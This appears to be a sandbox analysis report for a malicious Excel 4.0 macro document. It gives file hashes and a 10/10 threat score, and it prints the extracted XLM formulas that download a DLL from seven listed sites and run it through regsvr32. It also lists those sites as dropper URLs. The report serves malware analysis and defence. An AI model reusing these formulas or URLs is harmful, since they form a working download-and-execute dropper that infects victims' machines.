3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362

General

Target

3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362
Size

21KB
Sample

241121-amrp4axcrk
MD5

ac78a11fd0ec22c7aca563ebb0ec4ba0
SHA1

e3940f134b70b2f187b0f3fb58554530b391bd86
SHA256

3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362
SHA512

117532c55ff7d053e40b50ef5b62fdbc2522d55d7deb8349d522bcc1ab33cd396bb143db3858da8391ba969fd8b9b965d50b4a7b9e00be07d5ba372772d23ff8
SSDEEP

384:5DfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:14sN3zXuFCBn9kC+xbLb

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://buchhave.net/cache/t82rF5S/

https://www.bellaitaliatour.com/gite/YcFHn/

http://brainora.com/brand/Xf7eDVe/

http://breustchabrierarchitectes.fr/bca/CW5pD/

https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/

http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/

http://bestsafe.co.uk/cgi-bin/S29alEny/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buchhave.net/cache/t82rF5S/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bellaitaliatour.com/gite/YcFHn/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brainora.com/brand/Xf7eDVe/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://breustchabrierarchitectes.fr/bca/CW5pD/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bestsafe.co.uk/cgi-bin/S29alEny/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://buchhave.net/cache/t82rF5S/

xlm40.dropper

https://www.bellaitaliatour.com/gite/YcFHn/

xlm40.dropper

http://brainora.com/brand/Xf7eDVe/

xlm40.dropper

http://breustchabrierarchitectes.fr/bca/CW5pD/

xlm40.dropper

https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/

xlm40.dropper

http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/

xlm40.dropper

http://bestsafe.co.uk/cgi-bin/S29alEny/